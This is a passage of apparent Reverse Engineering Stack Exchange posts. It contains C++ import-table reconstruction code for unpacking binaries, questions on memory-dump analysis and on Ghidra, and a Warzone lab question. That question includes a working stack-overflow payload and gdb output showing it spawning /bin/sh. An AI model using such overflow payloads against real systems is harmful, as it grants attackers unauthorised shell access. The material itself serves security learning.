+    }
+
+    //now it seems ptrFuncAddr points some item in IAT, 
+    //make ptrFuncAddr point to the beginning of the page
+    //we use 0xFFFEFFFF, because ptrFuncAddr is the memory addr we allocated, not by loadlibrary
+    *ptrIATEnd = (DWORD)ptrFuncAddrHighest;
+    ptrFuncAddr = (DWORD*)(((DWORD)ptrFuncAddr & 0xFFFFF000)
+        + ((DWORD)lpAddr & 0x0FFF)
+        );
+    return (DWORD)ptrFuncAddr;
+
+    //return NULL;
+}
+
+unsigned long Get_Import_Address(char* DLL, char* Library, char* Import, int ordinal = -1)
+{
+    HMODULE mhLoadedDLL = NULL;
+    do
+    {
+        if (!DLL)
+            mhLoadedDLL = GetModuleHandle(NULL);
+        else
+            mhLoadedDLL = GetModuleHandle(DLL);
+        Sleep(100);
+    } while (!mhLoadedDLL);
+
+    MODULEINFO modinfo;
+    GetModuleInformation(GetCurrentProcess(), mhLoadedDLL, &modinfo, sizeof(MODULEINFO));
+    DWORD ModuleSize = (unsigned long)modinfo.SizeOfImage;
+
+    PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)mhLoadedDLL;
+    PIMAGE_NT_HEADERS NtHeader;
+    PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor;
+    UINT Index = 0;
+
+
+    NtHeader = (PIMAGE_NT_HEADERS)(((PBYTE)DosHeader) + DosHeader->e_lfanew);
+    if (NtHeader->Signature != IMAGE_NT_SIGNATURE)
+        return 0;
+
+    ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(((PBYTE)DosHeader) + NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
+
+    if (mhLoadedDLL) {
+        ULONG Sz;
+        ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToDataEx(mhLoadedDLL, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &Sz, nullptr);
+    }
+
+    __try {
+        //
+        // Iterate over import descriptors/DLLs.
+        //
+        for (Index = 0; (ImportDescriptor[Index].Characteristics != 0 || ImportDescriptor[Index].Name); Index++) {
+            PSTR dllName = (PSTR)(((PBYTE)DosHeader) + ImportDescriptor[Index].Name);
+
+            if (_strcmpi(dllName, Library) == 0) {
+                // This the DLL we are after.
+                PIMAGE_THUNK_DATA Thunk;
+                PIMAGE_THUNK_DATA OrigThunk;
+
+                Thunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].FirstThunk);
+                OrigThunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].OriginalFirstThunk);
+
+                //Reset
+                Thunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].FirstThunk);
+                OrigThunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].OriginalFirstThunk);
+
+                for (; OrigThunk->u1.Function != NULL; OrigThunk++, Thunk++)
+                {
+                    if (ordinal != -1) {
+                        if ((OrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) && IMAGE_ORDINAL(OrigThunk->u1.Ordinal) == ordinal) //send ordinal
+                            return (DWORD)Thunk; //Address of import returns.
+                    }
+
+                    if (OrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) { // Ordinal import - we can handle named imports only, so skip it.
+                        continue;
+                    }
+
+                    PIMAGE_IMPORT_BY_NAME importt = (PIMAGE_IMPORT_BY_NAME)(((PBYTE)DosHeader) + OrigThunk->u1.AddressOfData);
+
+                    if (_strcmpi(Import, (char*)importt->Name) == 0) {
+                        return (DWORD)Thunk; //Address of import returns.
+                    }
+                }
+
+                unsigned long ptrFuncsIndex = (unsigned long)ImportDescriptor[Index].FirstThunk + (DWORD)mhLoadedDLL;
+                DWORD impAddress = (DWORD)GetProcAddress(GetModuleHandle(Library), Import);
+
+                //First get all modules loaded, so you can find the maximum ImageBase+ImageSize for IAT Max Size calculation.
+                if (gs_ModuleList.size() == 0) {
+                    BOOL bRet = SnapShotModules((DWORD)GetCurrentProcess());
+                    if (!bRet)
+                    {
+                        printf(""Failed to get Modules\n"");
+                        return 0;
+                    }
+                }
+
+                DWORD dwMaxIATImageSize = 0x70000000;
+                if (gs_ModuleList.size() > 0) {
+                    auto max_it = std::max_element(gs_ModuleList.begin(), gs_ModuleList.end(), [](const IAT_Module_Info& l, const IAT_Module_Info& h) {
+                        return l.ImageBase < h.ImageBase;
+                    });
+
+                    if (max_it->ImageBase > 0)
+                        dwMaxIATImageSize = (DWORD)max_it->ImageBase + max_it->ImageSize;
+
+                    printf(""Highest Imported DLL = %X %s\n"", max_it->ImageBase, max_it->DllName);
+                }
+                //now we do more, retrieve the Page where IAT in
+                DWORD ptrIATEnd = NULL;
+                DWORD ptrIAT = SearchIAT(mhLoadedDLL, ModuleSize, NtHeader->OptionalHeader.ImageBase, dwMaxIATImageSize, &ptrIATEnd);
+
+                printf(""Rebuilding IAT,Found IAT in page %X, IAT End %X\n"", ptrIAT, ptrIATEnd);
+                if(listOfIATImports.size() == 0)
+                    FixImport((DWORD)GetCurrentProcess(), ptrIAT, ptrIATEnd, ModuleSize);
+
+                if (listOfIATImports.size() > 0) {
+                    auto match = std::find_if(listOfIATImports.cbegin(), listOfIATImports.cend(), [Library, Import](const IAT_Import_Information& s) {
+                        return _strcmpi(s.IATModuleName, Library) == 0 && _strcmpi(s.IATFunctionName, Import) == 0;
+                    });
+
+                    if (match != listOfIATImports.cend()) {
+                        printf(""Found IAT = %X, %s %s\n"", match->IATAddress, match->IATModuleName, match->IATFunctionName);
+                    }
+
+                    std::list<IAT_Import_Information>::iterator i;
+                    for (i = listOfIATImports.begin();
+                        i != listOfIATImports.end();
+                        i++)
+                    {
+                        printf(""Module: %s Import: %s Address: %X\n"", i->IATModuleName, i->IATFunctionName, i->IATAddress);
+                    }
+
+                } else {
+                    printf(""Couldn't find module %s, import %s\n"", Library, Import);
+                }
+
+            }
+        }
+    }
+    __except (1) {
+        printf(""Exception hit parsing imports\n"");
+    }
+    return 0;
+}
+
+",3510,,3510,,6/15/2020 2:20,6/15/2020 2:30,Import Reconstruction in runtime library? any open source ones or any import reconstructors source codes?,,1,0,,,,CC BY-SA 4.0 +25296,1,,,6/14/2020 19:37,,1,193,"

i'm interested in reverse engineering and assembly stuff i have started to do some research and im still a complete beginner +what i have learned so far that we could use virtualbox to dump the RAM for us so we can get a full memory dump and look at the actual assembly code of a packed program, and that what i did so far on a x86 Windows 7 Ultimate VM

+ +

First Starting the vm with debugging mode enabled

+ + + +
virtualboxvm --startvm ""Windows 7"" --dbg
+
+ +

Then opening VirtualBox Debugging Console Via Debug -> Command Line

+ +

and using this command you can get a full RAM dump file:

+ +
VBoxDbg> .pgmphystofile 'dump.bin'
+
+ +

So now i have the file, and im not sure about the correct ways to analyse it, it's a ""flat binary"" i guess

+ +
file dump.bin
+
+ +

will output:

+ +
dump.bin :data
+
+ +

i tried to use volatility to get some info:

+ +
volatility -f dump.bin imageinfo
+
+ +

output:

+ +
Volatility Foundation Volatility Framework 2.6
+INFO    : volatility.debug    : Determining profile based on KDBG search...
+          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
+                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
+                     AS Layer2 : FileAddressSpace (/root/w7-nc-shell.bin)
+                      PAE type : PAE
+                           DTB : 0x185000L
+                          KDBG : 0x8292dc28L
+          Number of Processors : 1
+     Image Type (Service Pack) : 1
+                KPCR for CPU 0 : 0x8292ec00L
+             KUSER_SHARED_DATA : 0xffdf0000L
+           Image date and time : 2020-06-14 17:41:24 UTC+0000
+     Image local date and time : 2020-06-14 09:41:24 -0800
+
+ +

A bunch of informations that im not sure what they really mean (if you can suggest me some useful resource in deep about those kind of informations in comment will be appreciated)

+ +

So Anyway using volatitlity we can get a process list using this command:

+ +
volatility -f dump.bin --profile=Win7SP1x86_23418 pslist
+
+ +

output:

+ +
Volatility Foundation Volatility Framework 2.6
+Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit                          
+---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
+0x8415e558 System                    4      0     83      503 ------      0 2020-06-15 04:31:21 UTC+0000                                 
+0x84874560 smss.exe                248      4      2       29 ------      0 2020-06-15 04:31:21 UTC+0000                                 
+0x850579b0 csrss.exe               324    316     10      452      0      0 2020-06-15 04:31:25 UTC+0000                                 
+0x850ead40 csrss.exe               376    368     10      267      1      0 2020-06-15 04:31:26 UTC+0000                                 
+0x850e9030 wininit.exe             392    316      3       76      0      0 2020-06-15 04:31:26 UTC+0000                                 
+0x8511ad40 winlogon.exe            420    368      3      110      1      0 2020-06-15 04:31:26 UTC+0000                                 
+....
+
+ +

is there a way, to get the dump of one specific processe and convert it back to PE? so i can easily debug the unpacked code? if not, is there a way to just dump the process and just dissassemble it?

+ +

Thanks in advance.

+",33547,,,,,6/14/2020 19:37,pick dump from a specific process from virtualbox coredump,,0,0,,,,CC BY-SA 4.0 +25297,1,,,6/14/2020 22:42,,5,2300,"

I'm reversing a binary and I found this strange keyword I haven't seen before called 'code'. I looked up the C++ keywords and there doesn't seem to be one. Could anyone provide me with more information about this keyword?

+ +
      if (*(int *)(param_1 + 4) != 0) {
+        (*(code *)(&PTR_thunk_FUN_005a7840_008dd8b8)[(int)param_2[4]])(*(int *)(param_1 + 4));
+      }
+
+ +

In Assembly.

+ +
00491b95 85  c0           TEST       EAX ,EAX
+00491b97 74  10           JZ         LAB_00491ba9
+00491b99 8b  4e  10       MOV        ECX ,dword ptr [ESI  + 0x10 ]
+00491b9c 8b  14  8d       MOV        EDX ,dword ptr [ECX *0x4  + -> thunk_FUN_005a7840 ] = 00401c30
+         b8  d8  8d 
+         00
+00491ba3 50              PUSH       EAX
+00491ba4 ff  d2           CALL       EDX
+
+",29218,,,,,12/8/2022 17:07,What does the code keyword in Ghidra mean?,,1,3,,,,CC BY-SA 4.0 +25298,1,25306,,6/15/2020 0:28,,1,651,"

I'm working inside a Warzone VM with no ALSR or NX bit. The program I'm trying to exploit is really simple:

+ + + +
#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+
+/*
+ * compiled with:
+ * gcc -O0 -fno-stack-protector lab2B.c -o lab2B
+ */
+
+char* exec_string = ""/bin/sh"";
+
+void shell(char* cmd)
+{
+    system(cmd);
+}
+
+void print_name(char* input)
+{
+    char buf[15];
+    strcpy(buf, input);
+    printf(""Hello %s\n"", buf);
+}
+
+int main(int argc, char** argv)
+{
+    if(argc != 2)
+    {
+        printf(""usage:\n%s string\n"", argv[0]);
+        return EXIT_FAILURE;
+    }
+
+    print_name(argv[1]);
+
+    return EXIT_SUCCESS;
+}
+
+ +

I was able to get it working in GDB (I think):

+ +
lab2B@warzone:/levels/lab02$ gdb --args lab2B $(python -c ""print 'A' * 27 + '\xbd\x86\x04\x08' + 'BBBB' + '\x28\xa0\x04\x08'"")
+Reading symbols from lab2B...(no debugging symbols found)...done.
+gdb-peda$ disas shell
+Dump of assembler code for function shell:
+   0x080486bd <+0>: push   ebp
+   0x080486be <+1>: mov    ebp,esp
+   0x080486c0 <+3>: sub    esp,0x18
+   0x080486c3 <+6>: mov    eax,DWORD PTR [ebp+0x8]
+   0x080486c6 <+9>: mov    DWORD PTR [esp],eax
+   0x080486c9 <+12>:    call   0x8048590 <system@plt>
+   0x080486ce <+17>:    leave
+   0x080486cf <+18>:    ret
+End of assembler dump.
+gdb-peda$ b *0x080486c9
+Breakpoint 1 at 0x80486c9
+gdb-peda$ r
+Starting program: /levels/lab02/lab2B AAAAAAAAAAAAAAAAAAAAAAAAAAA�BBBB\(�
+Hello AAAAAAAAAAAAAAAAAAAAAAAAAAA�BBBB(�
+[----------------------------------registers-----------------------------------]
+EAX: 0x804a028 --> 0x80487d0 (""/bin/sh"")
+EBX: 0xb7fcd000 --> 0x1a9da8
+ECX: 0x0
+EDX: 0xb7fce898 --> 0x0
+ESI: 0x0
+EDI: 0x0
+EBP: 0xbffff66c (""AAAABBBB(\240\004\b"")
+ESP: 0xbffff654 --> 0x804a028 --> 0x80487d0 (""/bin/sh"")
+EIP: 0x80486c9 (<shell+12>: call   0x8048590 <system@plt>)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x80486c0 <shell+3>: sub    esp,0x18
+   0x80486c3 <shell+6>: mov    eax,DWORD PTR [ebp+0x8]
+   0x80486c6 <shell+9>: mov    DWORD PTR [esp],eax
+=> 0x80486c9 <shell+12>:    call   0x8048590 <system@plt>
+   0x80486ce <shell+17>:    leave
+   0x80486cf <shell+18>:    ret
+   0x80486d0 <print_name>:  push   ebp
+   0x80486d1 <print_name+1>:    mov    ebp,esp
+Guessed arguments:
+arg[0]: 0x804a028 --> 0x80487d0 (""/bin/sh"")
+[------------------------------------stack-------------------------------------]
+0000| 0xbffff654 --> 0x804a028 --> 0x80487d0 (""/bin/sh"")
+0004| 0xbffff658 ('A' <repeats 24 times>, ""BBBB(\240\004\b"")
+0008| 0xbffff65c ('A' <repeats 20 times>, ""BBBB(\240\004\b"")
+0012| 0xbffff660 ('A' <repeats 16 times>, ""BBBB(\240\004\b"")
+0016| 0xbffff664 ('A' <repeats 12 times>, ""BBBB(\240\004\b"")
+0020| 0xbffff668 (""AAAAAAAABBBB(\240\004\b"")
+0024| 0xbffff66c (""AAAABBBB(\240\004\b"")
+0028| 0xbffff670 (""BBBB(\240\004\b"")
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+
+Breakpoint 1, 0x080486c9 in shell ()
+gdb-peda$ c
+Continuing.
+[New process 2068]
+Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.19.so...done.
+Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.
+process 2068 is executing new program: /bin/dash
+Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.
+Warning:
+Cannot insert breakpoint 1.
+Cannot access memory at address 0x80486c9
+
+ +

But it seems like the shell won't open outside of GDB:

+ +
lab2B@warzone:/levels/lab02$ ./lab2B $(python -c ""print 'A' * 27 + '\xbd\x86\x04\x08' + 'BBBB' + '\x28\xa0\x04\x08'"")
+Hello AAAAAAAAAAAAAAAAAAAAAAAAAAA�BBBB(�
+sh: 1: : not found
+Segmentation fault (core dumped)
+
+ +

I would think it's some kind of stack padding issue due to different environments(?) but it does seem to be invoking sh to some capacity. What kind of tools can I use to debug this sort of issue outside of GDB? If tooling won't help is there any kind of reading that will help me better understand what's going on? Thanks!

+",33549,,,,,6/15/2020 20:57,How can I get my shellcode to work outside of GDB?,,1,0,,,,CC BY-SA 4.0 +25299,2,,25294,6/15/2020 2:21,,1,,"

Here is my final code.. it works.. gets all imports except a missing a few like 10 at most.. which are hardly important anyways. It misses GetCurrentProcessId(),GetCurrentProcess(),LoadLibrary. It misses them because I have no idea how to decode 0xA1 (MOV EAX, [XXXXXX]) opcode or 0xFF35 opcode (push [XXXXXX]). Although this library is very useful to me and it will help me in many projects to come.. I will release it on github now.

+ +

imports address revolver file contains this

+ +
#include <psapi.h> //GetModuleInformation IAT
+#include <tlhelp32.h> //MODULEENTRY32 IAT
+#include <shlwapi.h> //PathFindFileName IAT
+#include <DbgHelp.h> //detours, GetImports, PE information BaseAddressStart/End etc.
+#include <unordered_set> //std::unordered_set<DWORD>
+#include <unordered_map> //std::map
+#include <string>
+#include <algorithm>
+#include <iterator>
+#include <vector>
+
+#pragma comment(lib, ""dbghelp.lib"")
+#pragma comment(lib, ""psapi.lib"") //GetModuleInformation IAT
+#pragma comment(lib, ""Shlwapi.lib"") //PathFindFileName IAT
+
+struct IAT_Module_Info
+{
+    DWORD ImageBase;
+    DWORD ImageSize;
+    BYTE* EntryPoint;
+    char DllName[256];
+    char DllFileName[1000];
+};
+
+static std::list<IAT_Module_Info> gs_ModuleList;
+
+struct IAT_Import_Information
+{
+    DWORD IATAddress;
+    char IATModuleName[256];
+    char IATFunctionName[256];
+};
+
+static std::list<IAT_Import_Information> listOfIATImports;
+
+
+BOOL SnapShotModules(DWORD dwPID)
+{
+    BOOL           bRet = TRUE;
+
+    // Get all modules for this process:
+    std::vector<HMODULE> hModules;
+    const HMODULE hSelf = GetModuleHandle(NULL);
+    {
+        DWORD nModules;
+        EnumProcessModules(GetCurrentProcess(), NULL, 0, &nModules);
+        hModules.resize(nModules);
+        EnumProcessModules(GetCurrentProcess(), &hModules[0], nModules, &nModules);
+    }
+
+    if (!hSelf)
+    {
+        printf(""Invalid Process Handle\n"");
+        return FALSE;
+    }
+
+    gs_ModuleList.clear();
+
+    IAT_Module_Info modulefullInfo = { 0 };
+    MODULEINFO modinfo = { 0 };
+    char moduleName[256] = { 0 };
+    char moduleFileName[1000] = { 0 };
+
+    char myProcessFilePath[1000] = { 0 };
+    GetModuleFileNameExA(GetCurrentProcess(), NULL, myProcessFilePath, 1000);
+    LPCSTR MyProcessFileName = PathFindFileName(myProcessFilePath);
+    for (auto hModule : hModules) {
+        if (hModule == hSelf)
+            continue;
+
+        GetModuleInformation(GetCurrentProcess(), hModule, &modinfo, sizeof(modinfo));
+        GetModuleBaseName(GetCurrentProcess(), hModule, moduleName, sizeof(moduleName) / sizeof(char));
+        GetModuleFileName(hModule, moduleFileName, sizeof(moduleFileName) / sizeof(char));
+        if (_strcmpi(moduleName, MyProcessFileName) == 0) continue;
+        strcpy(modulefullInfo.DllName, moduleName);
+        modulefullInfo.ImageSize = modinfo.SizeOfImage;
+        modulefullInfo.ImageBase = (DWORD)modinfo.lpBaseOfDll;
+        modulefullInfo.EntryPoint = (BYTE*)modinfo.EntryPoint;
+        strcpy(modulefullInfo.DllFileName, moduleFileName);
+        gs_ModuleList.push_back(modulefullInfo);
+    }
+
+    return TRUE;
+}
+
+/************************************************************************/
+/*
+Function : Retrieve API info by its addr and the module it belongs to
+Params   : pBuf points to the image mapped to our space*/
+/************************************************************************/
+void GetAPIInfo(DWORD ptrAPI, const IAT_Module_Info *iat_module_info, DWORD ptrAPIObfuscated = NULL)
+{
+    //try to load the dll into our space
+    HMODULE hDll = NULL;
+    if(iat_module_info)
+        hDll = LoadLibrary(iat_module_info->DllFileName);
+
+    if (NULL == hDll)
+        return;
+
+    //now ask for info from Export
+    PIMAGE_DOS_HEADER pDOSHDR = (PIMAGE_DOS_HEADER)hDll;
+    PIMAGE_NT_HEADERS pNTHDR = (PIMAGE_NT_HEADERS)((BYTE *)pDOSHDR + pDOSHDR->e_lfanew);
+    if (pNTHDR->OptionalHeader.NumberOfRvaAndSizes < IMAGE_DIRECTORY_ENTRY_EXPORT + 1)
+        return;
+
+    PIMAGE_EXPORT_DIRECTORY pExpDIR = (PIMAGE_EXPORT_DIRECTORY)
+        ((BYTE *)pDOSHDR
+            + pNTHDR->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
+    DWORD dwFunctions = pExpDIR->NumberOfFunctions;
+    DWORD *ptrAddrFunc = (DWORD *)((BYTE *)pDOSHDR + pExpDIR->AddressOfFunctions);
+    DWORD i = 0;
+
+    //get index by address
+    for (i = 0; i < dwFunctions; i++)
+    {
+        if (ptrAPIObfuscated && ((DWORD)pDOSHDR + ptrAddrFunc[i]) == ptrAPIObfuscated)
+            break;
+        if (!ptrAPIObfuscated && ((DWORD)pDOSHDR + ptrAddrFunc[i]) == *(DWORD*)ptrAPI)
+            break;
+    }
+
+    //not match
+    if (i == dwFunctions)
+        return;
+
+    //get name and ordinal
+    DWORD dwNames = pExpDIR->NumberOfNames;
+    DWORD *pNames = (DWORD *)((BYTE *)pDOSHDR + pExpDIR->AddressOfNames);
+    WORD *pNameOrd = (WORD *)((BYTE *)pDOSHDR + pExpDIR->AddressOfNameOrdinals);
+    DWORD j = 0;
+    char *pszName = NULL;
+    SIZE_T nLen = 0;
+    for (j = 0; j < dwNames; j++)
+    {
+        if (pNameOrd[j] == i)
+        {
+            pszName = (char *)pDOSHDR + pNames[j];
+            nLen = strlen(pszName);
+            /*printf(""%X\t%04X\t%s\n"",
+                *(DWORD *)ptrAPI,
+                j,
+                pszName
+            );*/
+
+            //Save information
+            IAT_Import_Information iat_found = { 0 };
+            iat_found.IATAddress = ptrAPI;
+            strcpy(iat_found.IATFunctionName, pszName);
+            strcpy(iat_found.IATModuleName, iat_module_info->DllName);
+            listOfIATImports.push_back(iat_found);
+            if(ptrAPIObfuscated)
+                printf(""Added Obfuscated %X %X, %s -> %s\n"", ptrAPI, ptrAPIObfuscated, iat_module_info->DllName, pszName);
+            else
+                printf(""Added %X %X, %s -> %s\n"", ptrAPI, *(DWORD*)ptrAPI, iat_module_info->DllName, pszName);
+        }
+    }
+}
+
+/************************************************************************/
+/*
+Function : rebuild Import Info according to IAT
+Params   : ptrIAT point to the page where IAT in
+ppBuf [IN/OUT] is the memory space for the exe, may be updated
+dwImageSize is the exe's image size                                                                  */
+/************************************************************************/
+void FixImport(DWORD dwPID, DWORD ptrIAT, DWORD ptrIATEnd, DWORD dwImageSize)
+{
+    if (gs_ModuleList.size() == 0) {
+        printf(""No Modules loaded, can't fix anything\n"");
+        return;
+    }
+
+    //now verify every DWORD item is a valid FuncPtr with some dll.
+    //we need to snapshot the process.
+    std::list<IAT_Module_Info>::iterator it;
+    IAT_Module_Info iat_module_info;
+    printf(""ptrIAT = %X ptrIATEnd = %X\n"", ptrIAT, ptrIATEnd);
+
+    DWORD ptrIndex = ptrIAT;
+    DWORD dwModBase = NULL;  //利用局部性原理,减少比较
+    DWORD dwModSize = NULL;
+    DWORD dwModHit = NULL;
+    while (TRUE)
+    {
+        //thz should always continue, even if BadPtr or invalid funcptr
+        if (ptrIndex <= ptrIATEnd
+            && IsBadReadPtr((const void *)*(DWORD *)ptrIndex, sizeof(DWORD)))
+        {
+            ptrIndex += sizeof(DWORD);
+            continue;
+        }
+
+        //now we may end, be careful
+        if (ptrIndex > ptrIATEnd
+            && (NULL == *(DWORD*)ptrIndex)
+            && (NULL == *(DWORD*)(ptrIndex + sizeof(DWORD))))
+        {
+            break;
+        }
+
+        if (ptrIndex > ptrIATEnd
+            && IsBadReadPtr((const void *)*(DWORD *)ptrIndex, sizeof(DWORD))
+            )
+        {
+            ptrIndex += sizeof(DWORD);
+            continue;
+        }
+
+        //////////////////////////////////////////////////////////////////////////
+        //whether in a module range
+        dwModHit = NULL;
+
+        //局部性原理,减少遍历
+        if (*(DWORD *)ptrIndex >= dwModBase
+            && *(DWORD *)ptrIndex < dwModBase + dwModSize)
+        {
+            dwModHit = dwModBase;
+        }
+
+        //have to loop every module
+        if (dwModHit == NULL)
+        {
+            for (it = gs_ModuleList.begin(); it != gs_ModuleList.end(); it++)
+            {
+                iat_module_info = *it;
+                dwModBase = (DWORD)iat_module_info.ImageBase;
+                dwModSize = (DWORD)iat_module_info.ImageSize;
+
+                if (*(DWORD *)ptrIndex >= dwModBase
+                    && *(DWORD *)ptrIndex < dwModBase + dwModSize)
+                {
+                    //printf(""ptrIndex %X %X, Mod: %X, Size: %X\n"", *(DWORD *)ptrIndex, ptrIndex, dwModBase, dwModSize);
+                    //printf(""Module: %s\n"", iat_module_info.DllName);
+                    break;
+                }
+                memset(&iat_module_info, 0, sizeof(IAT_Module_Info));
+            }//end for(
+        }//end if(NULL == 
+
+        if (iat_module_info.ImageBase == 0 && iat_module_info.ImageSize == 0) {
+            bool passDone = false;
+            bool Found = false;
+            IAT_Module_Info iat_module_info_temp;
+
+            DWORD deObfuscatedAddress = *(DWORD*)ptrIndex;
+            retryPass:
+            printf(""Check = %X %X %X\n"", deObfuscatedAddress, (BYTE)deObfuscatedAddress, *(BYTE*)deObfuscatedAddress);
+
+            for (it = gs_ModuleList.begin(); it != gs_ModuleList.end(); it++)
+            {
+                iat_module_info_temp = *it;
+                dwModBase = (DWORD)iat_module_info_temp.ImageBase;
+                dwModSize = (DWORD)iat_module_info_temp.ImageSize;
+
+                if (deObfuscatedAddress >= dwModBase
+                    && deObfuscatedAddress < dwModBase + dwModSize)
+                {
+                    //printf(""ptrIndex %X %X, Mod: %X, Size: %X\n"", deObfuscatedAddress, ptrIndex, dwModBase, dwModSize);
+                    //printf(""Module: %s\n"", iat_module_info.DllName);
+                    Found = true;
+                    break;
+                }
+            }
+            if (Found) {
+                printf(""Found Check = %X\n"", deObfuscatedAddress);
+                GetAPIInfo(ptrIndex, &iat_module_info_temp, deObfuscatedAddress);
+                ptrIndex += sizeof(DWORD);
+                continue;
+            } else if (!passDone) {
+                passDone = true;
+                if (*(BYTE*)deObfuscatedAddress == 0xE9) //JMP relative
+                    deObfuscatedAddress = (*(DWORD*)(deObfuscatedAddress + 1)) + deObfuscatedAddress + 5;
+                else if (*(BYTE*)deObfuscatedAddress == 0x68 && *(BYTE*)(deObfuscatedAddress + 5) == 0xC3) { //PUSH
+                    printf(""PUSH = %X %X +5[%X]\n"", deObfuscatedAddress, *(DWORD*)(deObfuscatedAddress + 1), *(BYTE*)(deObfuscatedAddress + 5));
+                    deObfuscatedAddress = *(DWORD*)(deObfuscatedAddress + 1);
+                } else if (*(BYTE*)deObfuscatedAddress == 0xA1 && *(BYTE*)(deObfuscatedAddress + 5) == 0xC3) { //A1 MOV EAX, [XXXXXX]
+                    printf(""A1 = %X %X +5[%X]\n"", deObfuscatedAddress, *(DWORD*)(deObfuscatedAddress + 1), *(BYTE*)(deObfuscatedAddress + 5));
+                    deObfuscatedAddress = *(DWORD*)(deObfuscatedAddress + 1);
+                } else if (*(BYTE*)deObfuscatedAddress == 0xFF && *(BYTE*)(deObfuscatedAddress + 1) == 0x35 && *(BYTE*)(deObfuscatedAddress + 6) == 0x58) { //push [XXXXXX]
+                    printf(""PUSH2 = %X %X\n"", deObfuscatedAddress, *(DWORD*)(deObfuscatedAddress + 2));
+                    deObfuscatedAddress = *(DWORD*)(deObfuscatedAddress + 2);
+                } else if ((BYTE)deObfuscatedAddress == 0xC8) { //enter (invalid opcode)
+                    printf(""invalid 0xC8 = %X %X %X\n"", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);
+                    deObfuscatedAddress = *(DWORD*)(ptrIndex + insn_len((void*)ptrIndex));
+                    printf(""invalid 0xC8 = %X %X %X\n"", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);
+                    passDone = false;
+                }
+                goto retryPass;
+            } else {
+                printf(""not found import :(\n"");
+                ptrIndex += sizeof(DWORD);
+                continue;
+            }
+        }
+
+        //now *ptrIndex in dwModBase
+        //now retrieve API info (Hint, name) from the module's export
+        //printf(""ptrIndex %X %X, Mod: %X, Size: %X\n"", *(DWORD *)ptrIndex, ptrIndex, dwModBase, dwModSize);
+        GetAPIInfo(ptrIndex, &iat_module_info);
+        ptrIndex += sizeof(DWORD);
+    }
+}
+
+/************************************************************************/
+/*
+Function : Get AddressOfEntryPoint  (or Original Entry Point)
+Params   : lpAddr is the Base where the exe mapped into
+Return   : OEP (RVA)             */
+/************************************************************************/
+DWORD GetOEP(LPVOID lpAddr)
+{
+    PIMAGE_DOS_HEADER pDOSHDR = (PIMAGE_DOS_HEADER)lpAddr;
+    PIMAGE_NT_HEADERS pNTHDR = (PIMAGE_NT_HEADERS)((unsigned char *)pDOSHDR + pDOSHDR->e_lfanew);
+    return pNTHDR->OptionalHeader.AddressOfEntryPoint;
+}
+
+/************************************************************************/
+/*
+Function : Retrieve a process's Import Info only by IAT
+Param    : lpAddr is the address the exe mapped into (within our space)
+ptrIATEnd [out] used to receive the 1st IAT we found (FF25 XXXX, FF15YYYY)
+Return   : the beginning of the page where IAT in
+Search for FF25 XXXX,  or FF15 yyyy
+HelloWorld.exe
+004001E0 > .  EA07D577      DD USER32.MessageBoxA
+004001E4      00000000      DD 00000000
+004001E8 >/$  6A 00         PUSH 0                                   ; /Style = MB_OK|MB_APPLMODAL
+004001EA  |.  6A 00         PUSH 0                                   ; |Title = NULL
+004001EC  |.  6A 00         PUSH 0                                   ; |Text = NULL
+004001EE  |.  6A 00         PUSH 0                                   ; |hOwner = NULL
+004001F0  |.  E8 01000000   CALL <JMP.&USER32.MessageBoxA>           ; \MessageBoxA
+004001F5  \.  C3            RETN
+004001F6   $- FF25 E0014000 JMP DWORD PTR DS:[<&USER32.MessageBoxA>] ;  USER32.MessageBoxA
+Notepad.exe
+0100740B   .  FF15 38130001      CALL DWORD PTR DS:[<&msvcrt.__set_app_ty>;  msvcrt.__set_app_type
+MSPaint.exe
+1000CA65    8B35 58D10110   MOV ESI,DWORD PTR DS:[<&KERNEL32.LCMapSt>; kernel32.LCMapStringW
+*/
+/************************************************************************/
+
+/*
+Need to check all of these
+– 8B0D MOV ECX,[ADDRESS]
+– 8B15 MOV EDX,[ADDRESS]
+– 8B1D MOV EBX,[ADDRESS]
+– 8B25 MOV ESP,[ADDRESS]
+– 8B2D MOV EBP,[ADDRESS]
+– 8B35 MOV ESI,[ADDRESS]
+– 8B3D MOV EDI,[ADDRESS]
+– A1 MOV EAX,[ADDRESS]
+- FF15 CALL [ADDRESS]
+– FF25 JMP [ADDRESS]
+– FF35 PUSH [ADDRESS]
+*/
+
+DWORD SearchIAT(LPVOID lpAddr, DWORD dwImageSize, DWORD pImageBase, DWORD dwMaxIATImageSize, DWORD *ptrIATEnd)
+{
+    DWORD pImageSectionStart = 0;
+    DWORD instruction_length;
+    DWORD *ptrFuncAddr = NULL;     //like xxx in JMP DWORD PTR DS:[XXXX]
+    DWORD ptrFuncAddrHighest = NULL;
+    DWORD dwOEP = NULL;
+    BYTE *pCode = NULL;
+    DWORD i = NULL;
+    WORD  wJMP = 0x25FF;
